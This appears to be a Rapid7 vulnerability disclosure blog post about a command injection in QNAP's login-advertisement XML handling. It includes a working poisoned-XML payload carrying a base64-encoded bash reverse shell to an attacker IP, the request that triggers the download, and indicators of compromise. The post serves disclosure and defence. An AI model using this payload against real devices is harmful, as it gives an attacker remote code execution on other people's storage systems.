QNAP Poisoned XML Command Injection (Silently Patched)

The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.

QNAP Poisoned XML Command Injection (Silently Patched)

The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):

<?xml version="1.0" encoding="utf-8"?>
<Root>
  <Messages>
    <Message>
      <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=513&amp;t=520&amp;n=18168</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=8685</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>
      <link>http://www.facebook.com/QNAPSys</link>
    </Message>
  </Messages>
</Root>

Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.

​​<?xml version="1.0" encoding="utf-8"?>
<Root>
	<Messages>
		<Message>
			<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>
			<link>http://www.qnap.com/></link>
		</Message>
	</Messages>
</Root>

An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.

Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.

QNAP Poisoned XML Command Injection (Silently Patched)

Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.

QNAP Poisoned XML Command Injection (Silently Patched)

The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.

QNAP Poisoned XML Command Injection (Silently Patched)

So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.

QNAP Poisoned XML Command Injection (Silently Patched)

Indicators of compromise

This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:

[albinolobster@NAS4A32F3 rssdoc]$ ls -l
total 32
-rw-r--r-- 1 admin administrators     0 2022-07-27 19:57 gen_qnapmsg_eng.xml
drwxrwxrwx 2 admin administrators  4096 2022-07-26 18:39 image/
-rw-r--r-- 1 admin administrators     8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators   229 2022-07-27 19:57 qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log
[albinolobster@NAS4A32F3 rssdoc]$ cat qnapmsg_eng.xml 
<?xml version="1.0" encoding="utf-8"?>
<Root>
<Messages>
<Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>

Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:

[albinolobster@NAS4A32F3 rssdoc]$ ps | grep wget
10109 albinolo    476 S   grep wget
12555 admin      2492 S   sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)`.tmp 1>>/dev/null 2>>/dev/null

Conclusion

Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.

SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.

Disclosure timeline

  • July, 2022: Researched and discovered by Jake Baines of Rapid7
  • Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
  • Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
  • Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
  • Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
  • Thu, Aug 4, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Additional reading: